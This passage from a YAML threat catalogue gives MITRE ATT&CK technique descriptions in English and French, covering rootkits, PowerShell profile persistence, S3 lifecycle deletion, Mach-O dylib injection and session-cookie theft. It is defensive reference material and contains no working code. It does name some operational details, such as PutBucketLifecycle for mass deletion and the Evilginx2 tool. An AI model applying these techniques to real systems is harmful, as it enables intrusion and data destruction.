      \ and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat\
      \ Mac OSX Rootkit)\nhttps://attack.mitre.org/techniques/T1014"
    translations:
      fr:
        name: Rootkit
        description: "Les adversaires peuvent utiliser des rootkits pour masquer la\
          \ pr\xE9sence de programmes, de fichiers, de connexions r\xE9seau, de services,\
          \ de pilotes et d\u2019autres composants du syst\xE8me. Les rootkits sont\
          \ des programmes qui cachent l\u2019existence de logiciels malveillants\
          \ en interceptant/connectant et en modifiant les appels API du syst\xE8\
          me d\u2019exploitation qui fournissent des informations syst\xE8me. (Citation\
          \ : Rootkits Windows Symantec) \n\nLes rootkits ou les fonctionnalit\xE9\
          s d\u2019activation des rootkits peuvent r\xE9sider au niveau de l\u2019\
          utilisateur ou du noyau dans le syst\xE8me d\u2019exploitation ou \xE0 un\
          \ niveau inf\xE9rieur, pour inclure un hyperviseur, un enregistrement de\
          \ d\xE9marrage principal ou un [microprogramme syst\xE8me](https://attack.mitre.org/techniques/T1542/001).\
          \ (citation : Wikipedia rootkit) Les rootkits ont \xE9t\xE9 vus pour les\
          \ syst\xE8mes Windows, Linux et Mac OS X. (Citation : CrowdStrike Linux\
          \ Rootkit) (Citation : BlackHat Mac OSX Rootkit)\nhttps://attack.mitre.org/techniques/T1014"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1546.013
    ref_id: T1546.013
    name: PowerShell Profile
    description: "Adversaries may gain persistence and elevate privileges by executing\
      \ malicious content triggered by PowerShell profiles. A PowerShell profile \
      \ (<code>profile.ps1</code>) is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
      \ starts and can be used as a logon script to customize user environments.\n\
      \n[PowerShell](https://attack.mitre.org/techniques/T1059/001) supports several\
      \ profiles depending on the user or host program. For example, there can be\
      \ different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
      \ host programs such as the PowerShell console, PowerShell ISE or Visual Studio\
      \ Code. An administrator can also configure a profile that applies to all users\
      \ and host programs on the local computer. (Citation: Microsoft About Profiles)\
      \ \n\nAdversaries may modify these profiles to include arbitrary commands, functions,\
      \ modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
      \ drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
      \ session the modified script will be executed unless the <code>-NoProfile</code>\
      \ flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)\
      \ \n\nAn adversary may also be able to escalate privileges if a script in a\
      \ PowerShell profile is loaded and executed by an account with higher privileges,\
      \ such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)\n\
      https://attack.mitre.org/techniques/T1546/013"
    translations:
      fr:
        name: Profil PowerShell
        description: "Les adversaires peuvent obtenir de la persistance et des privil\xE8\
          ges \xE9lev\xE9s en ex\xE9cutant du contenu malveillant d\xE9clench\xE9\
          \ par des profils PowerShell. Un profil PowerShell (<code>profile.ps1</code>)\
          \ est un script qui s\u2019ex\xE9cute au d\xE9marrage de [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
          \ et qui peut \xEAtre utilis\xE9 comme script d\u2019ouverture de session\
          \ pour personnaliser les environnements utilisateur.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001)\
          \ Prend en charge plusieurs profils en fonction de l\u2019utilisateur ou\
          \ du programme h\xF4te. Par exemple, il peut exister diff\xE9rents profils\
          \ pour les programmes h\xF4tes [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
          \ tels que la console PowerShell, PowerShell ISE ou Visual Studio Code.\
          \ Un administrateur peut \xE9galement configurer un profil qui s\u2019applique\
          \ \xE0 tous les utilisateurs et programmes h\xF4tes sur l\u2019ordinateur\
          \ local. (Citation : Microsoft \xE0 propos des profils) \n\nLes adversaires\
          \ peuvent modifier ces profils pour inclure des commandes, des fonctions,\
          \ des modules et/ou des lecteurs [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
          \ arbitraires afin d\u2019obtenir une persistance. Chaque fois qu\u2019\
          un utilisateur ouvre une session [PowerShell](https://attack.mitre.org/techniques/T1059/001),\
          \ le script modifi\xE9 est ex\xE9cut\xE9, sauf si l\u2019indicateur <code>-NoProfile</code>\
          \ est utilis\xE9 lors de son lancement. (Citation : ESET Turla PowerShell\
          \ mai 2019) \n\nUn adversaire peut \xE9galement \xEAtre en mesure d\u2019\
          \xE9lever les privil\xE8ges si un script dans un profil PowerShell est charg\xE9\
          \ et ex\xE9cut\xE9 par un compte disposant de privil\xE8ges plus \xE9lev\xE9\
          s, tel qu\u2019un administrateur de domaine. (Citation : Wits End et profils\
          \ PowerShell louches)\nhttps://attack.mitre.org/techniques/T1546/013"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1059.007
    ref_id: T1059.007
    name: JavaScript
    description: "Adversaries may abuse various implementations of JavaScript for\
      \ execution. JavaScript (JS) is a platform-independent scripting language (compiled\
      \ just-in-time at runtime) commonly associated with scripts in webpages, though\
      \ JS can be executed in runtime environments outside the browser.(Citation:\
      \ NodeJS)\n\nJScript is the Microsoft implementation of the same scripting standard.\
      \ JScript is interpreted via the Windows Script engine and thus integrated with\
      \ many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\
      \ and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation:\
      \ Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)\n\nJavaScript\
      \ for Automation (JXA) is a macOS scripting language based on JavaScript, included\
      \ as part of Apple\u2019s Open Scripting Architecture (OSA), that was introduced\
      \ in OSX 10.10. Apple\u2019s OSA provides scripting capabilities to control\
      \ applications, interface with the operating system, and bridge access into\
      \ the rest of Apple\u2019s internal APIs. As of OSX 10.10, OSA only supports\
      \ two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002).\
      \ Scripts can be executed via the command line utility <code>osascript</code>,\
      \ they can be compiled into applications or script files via <code>osacompile</code>,\
      \ and they can be compiled and executed in memory of other programs by leveraging\
      \ the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation:\
      \ SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary\
      \ Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)\n\nAdversaries\
      \ may abuse various implementations of JavaScript to execute various behaviors.\
      \ Common uses include hosting malicious scripts on websites as part of a [Drive-by\
      \ Compromise](https://attack.mitre.org/techniques/T1189) or downloading and\
      \ executing these script files as secondary payloads. Since these payloads are\
      \ text-based, it is also very common for adversaries to obfuscate their content\
      \ as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).\n\
      https://attack.mitre.org/techniques/T1059/007"
    translations:
      fr:
        name: Javascript
        description: "Les adversaires peuvent abuser de diverses impl\xE9mentations\
          \ de JavaScript pour l\u2019ex\xE9cution. JavaScript (JS) est un langage\
          \ de script ind\xE9pendant de la plate-forme (compil\xE9 juste-\xE0-temps\
          \ au moment de l\u2019ex\xE9cution) g\xE9n\xE9ralement associ\xE9 aux scripts\
          \ des pages Web, bien que JS puisse \xEAtre ex\xE9cut\xE9 dans des environnements\
          \ d\u2019ex\xE9cution en dehors du navigateur. (Citation : NodeJS)\n\nJScript\
          \ est l\u2019impl\xE9mentation Microsoft de la m\xEAme norme de script.\
          \ JScript est interpr\xE9t\xE9 via le moteur de script Windows et donc int\xE9\
          gr\xE9 \xE0 de nombreux composants de Windows tels que les pages [Component\
          \ Object Model](https://attack.mitre.org/techniques/T1559/001) et Internet\
          \ Explorer HTML Application (HTA). (Citation : JScrip mai 2018)(Citation\
          \ : Microsoft JScript 2007)(Citation : Scripts Microsoft Windows)\n\nJavaScript\
          \ for Automation (JXA) est un langage de script macOS bas\xE9 sur JavaScript,\
          \ inclus dans l\u2019architecture Open Scripting Architecture (OSA) d\u2019\
          Apple, qui a \xE9t\xE9 introduit dans OSX 10.10. L\u2019OSA d\u2019Apple\
          \ fournit des capacit\xE9s de script pour contr\xF4ler les applications,\
          \ s\u2019interfacer avec le syst\xE8me d\u2019exploitation et faire le lien\
          \ entre l\u2019acc\xE8s au reste des API internes d\u2019Apple. \xC0 partir\
          \ d\u2019OSX 10.10, OSA ne prend en charge que deux langues, JXA et [AppleScript](https://attack.mitre.org/techniques/T1059/002).\
          \ Les scripts peuvent \xEAtre ex\xE9cut\xE9s via l\u2019utilitaire de ligne\
          \ de commande <code>osascript</code>, ils peuvent \xEAtre compil\xE9s dans\
          \ des applications ou des fichiers de script via <code>osacompile</code>,\
          \ et ils peuvent \xEAtre compil\xE9s et ex\xE9cut\xE9s en m\xE9moire d\u2019\
          autres programmes en exploitant le framework OSAKit. (Citation\_: Apple\
          \ \xC0 propos de Mac Scripting 2016)(Citation : SpecterOps JXA 2020)(Citation\
          \ : SentinelOne macOS Red Team)(Citation : Moineau argent\xE9 Red Canary,\
          \ f\xE9vrier 2021)(Citation : MDSec macOS JXA et VSCode)\n\nLes adversaires\
          \ peuvent abuser de diverses impl\xE9mentations de JavaScript pour ex\xE9\
          cuter divers comportements. Les utilisations courantes incluent l\u2019\
          h\xE9bergement de scripts malveillants sur des sites Web dans le cadre d\u2019\
          une [compromission intempestive](https://attack.mitre.org/techniques/T1189)\
          \ ou le t\xE9l\xE9chargement et l\u2019ex\xE9cution de ces fichiers de script\
          \ en tant que charges utiles secondaires. \xC9tant donn\xE9 que ces charges\
          \ utiles sont bas\xE9es sur du texte, il est \xE9galement tr\xE8s courant\
          \ que des adversaires obscurcissent leur contenu dans le cadre de [Fichiers\
          \ ou informations obscurcis](https://attack.mitre.org/techniques/T1027).\n\
          https://attack.mitre.org/techniques/T1059/007"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1590.002
    ref_id: T1590.002
    name: DNS
    description: "Adversaries may gather information about the victim's DNS that can\
      \ be used during targeting. DNS information may include a variety of details,\
      \ including registered name servers as well as records that outline addressing\
      \ for a target\u2019s subdomains, mail servers, and other hosts. DNS MX, TXT,\
      \ and SPF records may also reveal the use of third party cloud and SaaS providers,\
      \ such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf\
      \ Twitter DNS Records)\n\nAdversaries may gather this information in various\
      \ ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001).\
      \ DNS information may also be exposed to adversaries via online or other accessible\
      \ data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation:\
      \ DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may\
      \ reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical\
      \ Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593),\
      \ or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing\
      \ operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)\
      \ or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)),\
      \ and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).\n\
      \nAdversaries may also use DNS zone transfer (DNS query type AXFR) to collect\
      \ all records from a misconfigured DNS server.(Citation: Trails-DNS)(Citation:\
      \ DNS-CISA)(Citation: Alexa-dns)\nhttps://attack.mitre.org/techniques/T1590/002"
    translations:
      fr:
        name: DNS
        description: "Les adversaires peuvent recueillir des informations sur le DNS\
          \ de la victime qui peuvent \xEAtre utilis\xE9es lors du ciblage. Les informations\
          \ DNS peuvent inclure divers d\xE9tails, y compris des serveurs de noms\
          \ enregistr\xE9s ainsi que des enregistrements qui d\xE9crivent l\u2019\
          adressage pour les sous-domaines, les serveurs de messagerie et autres h\xF4\
          tes d\u2019une cible. Les enregistrements DNS MX, TXT et SPF peuvent \xE9\
          galement r\xE9v\xE9ler l\u2019utilisation de fournisseurs de cloud et de\
          \ SaaS tiers, tels qu\u2019Office 365, G Suite, Salesforce ou Zendesk. (Citation\
          \ : Sean Metcalf Twitter DNS records)\n\nLes adversaires peuvent collecter\
          \ ces informations de diff\xE9rentes mani\xE8res, par exemple en interrogeant\
          \ ou en collectant des d\xE9tails via [DNS/DNS passif](https://attack.mitre.org/techniques/T1596/001).\
          \ Les informations DNS peuvent \xE9galement \xEAtre expos\xE9es \xE0 des\
          \ adversaires via des ensembles de donn\xE9es en ligne ou d\u2019autres\
          \ ensembles de donn\xE9es accessibles (ex : [Rechercher dans des bases de\
          \ donn\xE9es techniques ouvertes](https://attack.mitre.org/techniques/T1596)).\
          \ (Citation : benne \xE0 ordures DNS)(Citation : Circl DNS passif) La collecte\
          \ de ces informations peut r\xE9v\xE9ler des possibilit\xE9s pour d\u2019\
          autres formes de reconnaissance (ex : [Recherche dans des bases de donn\xE9\
          es techniques ouvertes](https://attack.mitre.org/techniques/T1596), [Recherche\
          \ dans des sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)\
          \ ou [Analyse active](https://attack.mitre.org/techniques/T1595)), l\u2019\
          \xE9tablissement de ressources op\xE9rationnelles (ex : [Acquisition d\u2019\
          infrastructure](https://attack.mitre.org/techniques/T1583) ou [Compromission\
          \ d\u2019infrastructure]( https://attack.mitre.org/techniques/T1584)), et/ou\
          \ l\u2019acc\xE8s initial (ex : [Services \xE0 distance externes](https://attack.mitre.org/techniques/T1133)).\n\
          \nLes adversaires peuvent \xE9galement utiliser le transfert de zone DNS\
          \ (requ\xEAte DNS de type AXFR) pour collecter tous les enregistrements\
          \ d\u2019un serveur DNS mal configur\xE9. (Citation : Trails-DNS)(Citation\
          \ : DNS-CISA)(Citation : Alexa-dns)\nhttps://attack.mitre.org/techniques/T1590/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1485.001
    ref_id: T1485.001
    name: Lifecycle-Triggered Deletion
    description: "Adversaries may modify the lifecycle policies of a cloud storage\
      \ bucket to destroy all objects stored within.  \n\nCloud storage buckets often\
      \ allow users to set lifecycle policies to automate the migration, archival,\
      \ or deletion of objects after a set period of time.(Citation: AWS Storage Lifecycles)(Citation:\
      \ GCP Storage Lifecycles)(Citation: Azure Storage Lifecycles) If a threat actor\
      \ has sufficient permissions to modify these policies, they may be able to delete\
      \ all objects at once. \n\nFor example, in AWS environments, an adversary with\
      \ the `PutLifecycleConfiguration` permission may use the `PutBucketLifecycle`\
      \ API call to apply a lifecycle policy to an S3 bucket that deletes all objects\
      \ in the bucket after one day.(Citation: Palo Alto Cloud Ransomware) In addition\
      \ to destroying data for purposes of extortion and [Financial Theft](https://attack.mitre.org/techniques/T1657),\
      \ adversaries may also perform this action on buckets storing cloud logs for\
      \ [Indicator Removal](https://attack.mitre.org/techniques/T1070).(Citation:\
      \ Datadog S3 Lifecycle CloudTrail Logs)\nhttps://attack.mitre.org/techniques/T1485/001"
    translations:
      fr:
        name: "Suppression d\xE9clench\xE9e par le cycle de vie"
        description: "Les adversaires peuvent modifier les politiques de cycle de\
          \ vie d\u2019un compartiment de stockage cloud pour d\xE9truire tous les\
          \ objets qui y sont stock\xE9s.  \n\nLes compartiments de stockage dans\
          \ le cloud permettent souvent aux utilisateurs de d\xE9finir des politiques\
          \ de cycle de vie pour automatiser la migration, l\u2019archivage ou la\
          \ suppression d\u2019objets apr\xE8s une p\xE9riode de temps d\xE9finie.\
          \ (R\xE9f\xE9rence : Cycles de vie du stockage AWS)(Citation : Cycles de\
          \ vie du stockage GCP)(Citation : Cycles de vie du stockage Azure) Si un\
          \ auteur de menace dispose des autorisations suffisantes pour modifier ces\
          \ politiques, il peut \xEAtre en mesure de supprimer tous les objets en\
          \ m\xEAme temps. \n\nPar exemple, dans les environnements AWS, un adversaire\
          \ disposant de l\u2019autorisation \xAB PutLifecycleConfiguration \xBB peut\
          \ utiliser l\u2019appel d\u2019API \xAB PutBucketLifecycle \xBB pour appliquer\
          \ une politique de cycle de vie \xE0 un compartiment S3 qui supprime tous\
          \ les objets du compartiment au bout d\u2019un jour. (Citation : Ransomware\
          \ de Palo Alto Cloud) Outre la destruction de donn\xE9es \xE0 des fins d\u2019\
          extorsion et de [vol financier](https://attack.mitre.org/techniques/T1657),\
          \ les adversaires peuvent \xE9galement effectuer cette action sur des compartiments\
          \ stockant des journaux cloud pour [Suppression de l\u2019indicateur](https://attack.mitre.org/techniques/T1070).\
          \ (R\xE9f\xE9rence : Datadog S3 Lifecycle CloudTrail Logs)\nhttps://attack.mitre.org/techniques/T1485/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1123
    ref_id: T1123
    name: Audio Capture
    description: 'An adversary can leverage a computer''s peripheral devices (e.g.,
      microphones and webcams) or applications (e.g., voice and video call services)
      to capture audio recordings for the purpose of listening into sensitive conversations
      to gather information.(Citation: ESET Attor Oct 2019)


      Malware or scripts may be used to interact with the devices through an available
      API provided by the operating system or an application to capture audio. Audio
      files may be written to disk and exfiltrated later.

      https://attack.mitre.org/techniques/T1123'
    translations:
      fr:
        name: Audio Capture
        description: "Un adversaire peut exploiter les p\xE9riph\xE9riques d\u2019\
          un ordinateur (par exemple, les microphones et les webcams) ou les applications\
          \ (par exemple, les services d\u2019appels vocaux et vid\xE9o) pour capturer\
          \ des enregistrements audio dans le but d\u2019\xE9couter des conversations\
          \ sensibles afin de recueillir des informations. (Citation : ESET Attor\
          \ octobre 2019)\n\nDes logiciels malveillants ou des scripts peuvent \xEA\
          tre utilis\xE9s pour interagir avec les appareils via une API disponible\
          \ fournie par le syst\xE8me d\u2019exploitation ou une application de capture\
          \ audio. Les fichiers audio peuvent \xEAtre \xE9crits sur le disque et exfiltr\xE9\
          s ult\xE9rieurement.\nhttps://attack.mitre.org/techniques/T1123"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1543
    ref_id: T1543
    name: Create or Modify System Process
    description: "Adversaries may create or modify system-level processes to repeatedly\
      \ execute malicious payloads as part of persistence. When operating systems\
      \ boot up, they can start processes that perform background system functions.\
      \ On Windows and Linux, these system processes are referred to as services.(Citation:\
      \ TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)\
      \ and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run\
      \ to finish system initialization and load user specific parameters.(Citation:\
      \ AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services,\
      \ daemons, or agents that can be configured to execute at startup or a repeatable\
      \ interval in order to establish persistence. Similarly, adversaries may modify\
      \ existing services, daemons, or agents to achieve the same effect.  \n\nServices,\
      \ daemons, or agents may be created with administrator privileges but executed\
      \ under root/SYSTEM privileges. Adversaries may leverage this functionality\
      \ to create or modify system processes in order to escalate privileges.(Citation:\
      \ OSX Malware Detection)\nhttps://attack.mitre.org/techniques/T1543"
    translations:
      fr:
        name: "Cr\xE9ation ou modification d\u2019un processus syst\xE8me"
        description: "Les adversaires peuvent cr\xE9er ou modifier des processus au\
          \ niveau du syst\xE8me pour ex\xE9cuter de mani\xE8re r\xE9p\xE9t\xE9e des\
          \ charges utiles malveillantes dans le cadre de la persistance. Lorsque\
          \ les syst\xE8mes d\u2019exploitation d\xE9marrent, ils peuvent d\xE9marrer\
          \ des processus qui ex\xE9cutent des fonctions syst\xE8me en arri\xE8re-plan.\
          \ Sous Windows et Linux, ces processus syst\xE8me sont appel\xE9s services.\
          \ (Citation : TechNet Services) Sous macOS, les processus launchd connus\
          \ sous le nom de [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)\
          \ et [Launch Agent](https://attack.mitre.org/techniques/T1543/001) sont\
          \ ex\xE9cut\xE9s pour terminer l\u2019initialisation du syst\xE8me et charger\
          \ les param\xE8tres sp\xE9cifiques \xE0 l\u2019utilisateur. (Citation :\
          \ d\xE9mons de l\u2019agent de lancement AppleDocs) \n\nLes adversaires\
          \ peuvent installer de nouveaux services, d\xE9mons ou agents qui peuvent\
          \ \xEAtre configur\xE9s pour s\u2019ex\xE9cuter au d\xE9marrage ou \xE0\
          \ un intervalle reproductible afin d\u2019\xE9tablir la persistance. De\
          \ m\xEAme, les adversaires peuvent modifier des services, des d\xE9mons\
          \ ou des agents existants pour obtenir le m\xEAme effet.  \n\nLes services,\
          \ les d\xE9mons ou les agents peuvent \xEAtre cr\xE9\xE9s avec des privil\xE8\
          ges d\u2019administrateur, mais ex\xE9cut\xE9s avec des privil\xE8ges root/SYSTEM.\
          \ Les adversaires peuvent exploiter cette fonctionnalit\xE9 pour cr\xE9\
          er ou modifier des processus syst\xE8me afin d\u2019\xE9lever les privil\xE8\
          ges. (Citation : D\xE9tection des logiciels malveillants OSX)\nhttps://attack.mitre.org/techniques/T1543"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1133
    ref_id: T1133
    name: External Remote Services
    description: "Adversaries may leverage external-facing remote services to initially\
      \ access and/or persist within a network. Remote services such as VPNs, Citrix,\
      \ and other access mechanisms allow users to connect to internal enterprise\
      \ network resources from external locations. There are often remote service\
      \ gateways that manage connections and credential authentication for these services.\
      \ Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006)\
      \ and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used\
      \ externally.(Citation: MacOS VNC software for Remote Desktop)\n\nAccess to\
      \ [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service\
      \ is often a requirement, which could be obtained through credential pharming\
      \ or by obtaining the credentials from users after compromising the enterprise\
      \ network.(Citation: Volexity Virtual Private Keylogging) Access to remote services\
      \ may be used as a redundant or persistent access mechanism during an operation.\n\
      \nAccess may also be gained through an exposed service that doesn\u2019t require\
      \ authentication. In containerized environments, this may include an exposed\
      \ Docker API, Kubernetes API server, kubelet, or web application such as the\
      \ Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation:\
      \ Unit 42 Hildegard Malware)\nhttps://attack.mitre.org/techniques/T1133"
    translations:
      fr:
        name: "Services \xE0 distance externes"
        description: "Les adversaires peuvent tirer parti de services \xE0 distance\
          \ externes pour acc\xE9der initialement \xE0 un r\xE9seau et/ou y persister.\
          \ Les services \xE0 distance tels que les VPN, Citrix et d\u2019autres m\xE9\
          canismes d\u2019acc\xE8s permettent aux utilisateurs de se connecter aux\
          \ ressources du r\xE9seau interne de l\u2019entreprise \xE0 partir d\u2019\
          emplacements externes. Il existe souvent des passerelles de service distantes\
          \ qui g\xE8rent les connexions et l\u2019authentification des informations\
          \ d\u2019identification pour ces services. Des services tels que [Windows\
          \ Remote Management](https://attack.mitre.org/techniques/T1021/006) et [VNC](https://attack.mitre.org/techniques/T1021/005)\
          \ peuvent \xE9galement \xEAtre utilis\xE9s en externe. (Citation : Logiciel\
          \ MacOS VNC pour le bureau \xE0 distance)\n\nL\u2019acc\xE8s \xE0 [Comptes\
          \ valides](https://attack.mitre.org/techniques/T1078) pour utiliser le service\
          \ est souvent une exigence, qui peut \xEAtre obtenue par le biais du pharming\
          \ d\u2019identifiants ou en obtenant les identifiants des utilisateurs apr\xE8\
          s avoir compromis le r\xE9seau d\u2019entreprise. (Citation : Volexity Virtual\
          \ Private Keylogging) L\u2019acc\xE8s aux services distants peut \xEAtre\
          \ utilis\xE9 comme m\xE9canisme d\u2019acc\xE8s redondant ou persistant\
          \ au cours d\u2019une op\xE9ration.\n\nL\u2019acc\xE8s peut \xE9galement\
          \ \xEAtre obtenu par le biais d\u2019un service expos\xE9 qui ne n\xE9cessite\
          \ pas d\u2019authentification. Dans les environnements conteneuris\xE9s,\
          \ il peut s\u2019agir d\u2019une API Docker expos\xE9e, d\u2019un serveur\
          \ d\u2019API Kubernetes, d\u2019un kubelet ou d\u2019une application web\
          \ telle que le tableau de bord Kubernetes. (Citation : Trend Micro Exposed\
          \ Docker Server)(Citation : Unit\xE9 42 Hildegard Malware)\nhttps://attack.mitre.org/techniques/T1133"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1546.006
    ref_id: T1546.006
    name: LC_LOAD_DYLIB Addition
    description: "Adversaries may establish persistence by executing malicious content\
      \ triggered by the execution of tainted binaries. Mach-O binaries have a series\
      \ of headers that are used to perform certain operations when a binary is loaded.\
      \ The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic\
      \ libraries (dylibs) to load during execution time. These can be added ad-hoc\
      \ to the compiled binary as long as adjustments are made to the rest of the\
      \ fields and dependencies.(Citation: Writing Bad Malware for OSX) There are\
      \ tools available to perform these changes.\n\nAdversaries may modify Mach-O\
      \ binary headers to load and execute malicious dylibs every time the binary\
      \ is executed. Although any changes will invalidate digital signatures on binaries\
      \ because the binary is being modified, this can be remediated by simply removing\
      \ the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019\
      t checked at load time.(Citation: Malware Persistence on OS X)\nhttps://attack.mitre.org/techniques/T1546/006"
    translations:
      fr:
        name: LC_LOAD_DYLIB Addition
        description: "Les adversaires peuvent \xE9tablir la persistance en ex\xE9\
          cutant du contenu malveillant d\xE9clench\xE9 par l\u2019ex\xE9cution de\
          \ fichiers binaires corrompus. Les binaires Mach-O ont une s\xE9rie d\u2019\
          en-t\xEAtes qui sont utilis\xE9s pour effectuer certaines op\xE9rations\
          \ lorsqu\u2019un binaire est charg\xE9. L\u2019en-t\xEAte LC_LOAD_DYLIB\
          \ d\u2019un binaire Mach-O indique \xE0 macOS et OS X les biblioth\xE8ques\
          \ dynamiques (dylibs) \xE0 charger pendant l\u2019ex\xE9cution. Ceux-ci\
          \ peuvent \xEAtre ajout\xE9s ad hoc au binaire compil\xE9 tant que des ajustements\
          \ sont apport\xE9s au reste des champs et d\xE9pendances. (Citation : \xC9\
          crire un mauvais logiciel malveillant pour OSX) Des outils sont disponibles\
          \ pour effectuer ces modifications.\n\nLes adversaires peuvent modifier\
          \ les en-t\xEAtes binaires Mach-O pour charger et ex\xE9cuter des dylibs\
          \ malveillants \xE0 chaque fois que le binaire est ex\xE9cut\xE9. Bien que\
          \ toute modification invalide les signatures num\xE9riques sur les fichiers\
          \ binaires car le fichier binaire est en cours de modification, cela peut\
          \ \xEAtre corrig\xE9 en supprimant simplement la commande LC_CODE_SIGNATURE\
          \ du fichier binaire afin que la signature ne soit pas v\xE9rifi\xE9e au\
          \ moment du chargement. (Citation : Persistance des logiciels malveillants\
          \ sur OS X)\nhttps://attack.mitre.org/techniques/T1546/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1539
    ref_id: T1539
    name: Steal Web Session Cookie
    description: 'An adversary may steal web application or service session cookies
      and use them to gain access to web applications or Internet services as an authenticated
      user without needing credentials. Web applications and services often use session
      cookies as an authentication token after a user has authenticated to a website.


      Cookies are often valid for an extended period of time, even if the web application
      is not actively used. Cookies can be found on disk, in the process memory of
      the browser, and in network traffic to remote systems. Additionally, other applications
      on the targets machine might store sensitive authentication cookies in memory
      (e.g. apps which authenticate to cloud services). Session cookies can be used
      to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)


      There are several examples of malware targeting cookies from web browsers on
      the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42
      Mac Crypto Cookies January 2019) Adversaries may also steal cookies by injecting
      malicious JavaScript content into websites or relying on [User Execution](https://attack.mitre.org/techniques/T1204)
      by tricking victims into running malicious JavaScript in their browser.(Citation:
      Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)


      There are also open source frameworks such as `Evilginx2` and `Muraena` that
      can gather session cookies through a malicious proxy (e.g., [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557))
      that can be set up by an adversary and used in phishing campaigns.(Citation:
      Github evilginx2)(Citation: GitHub Mauraena)


      After an adversary acquires a valid cookie, they can then perform a [Web Session
      Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to
      the corresponding web application.

      https://attack.mitre.org/techniques/T1539'
    translations:
      fr:
        name: Voler un cookie de session Web
        description: "Un adversaire peut voler des cookies de session d\u2019applications\
          \ Web ou de services et les utiliser pour acc\xE9der \xE0 des applications\
          \ Web ou \xE0 des services Internet en tant qu\u2019utilisateur authentifi\xE9\
          \ sans avoir besoin d\u2019informations d\u2019identification. Les applications\
          \ et services Web utilisent souvent des cookies de session comme jeton d\u2019\
          authentification une fois qu\u2019un utilisateur s\u2019est authentifi\xE9\
          \ sur un site Web.\n\nLes cookies sont souvent valables pour une p\xE9riode\
          \ prolong\xE9e, m\xEAme si l\u2019application web n\u2019est pas utilis\xE9\
          e activement. Les cookies se trouvent sur le disque, dans la m\xE9moire\
          \ du navigateur et dans le trafic r\xE9seau vers des syst\xE8mes distants.\
          \ En outre, d\u2019autres applications sur la machine cible peuvent stocker\
          \ des cookies d\u2019authentification sensibles en m\xE9moire (par exemple,\
          \ des applications qui s\u2019authentifient aupr\xE8s des services cloud).\
          \ Les cookies de session peuvent \xEAtre utilis\xE9s pour contourner certains\
          \ protocoles d\u2019authentification multifactorielle. (Citation : Passez\
          \ le cookie)\n\nIl existe plusieurs exemples de logiciels malveillants ciblant\
          \ les cookies des navigateurs Web sur le syst\xE8me local. (R\xE9f\xE9rence\
          \ : Kaspersky TajMahal, avril 2019)(Citation : Unit 42 Mac Crypto Cookies\
          \ Janvier 2019) Les adversaires peuvent \xE9galement voler des cookies en\
          \ injectant du contenu JavaScript malveillant dans des sites Web ou en s\u2019\
          appuyant sur [User Execution](https://attack.mitre.org/techniques/T1204)\
          \ en incitant les victimes \xE0 ex\xE9cuter du JavaScript malveillant dans\
          \ leur navigateur. (Citation\_: Talos Roblox Scam 2023)(Citation : Favoris\
          \ Discord de Krebs 2023)\n\nIl existe \xE9galement des frameworks open source\
          \ tels que \xAB Evilginx2 \xBB et \xAB Muraena \xBB qui peuvent collecter\
          \ des cookies de session via un proxy malveillant (par exemple, [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557))\
          \ qui peuvent \xEAtre configur\xE9s par un adversaire et utilis\xE9s dans\
          \ des campagnes de phishing. (Citation : Github evilginx2)(Citation : GitHub\
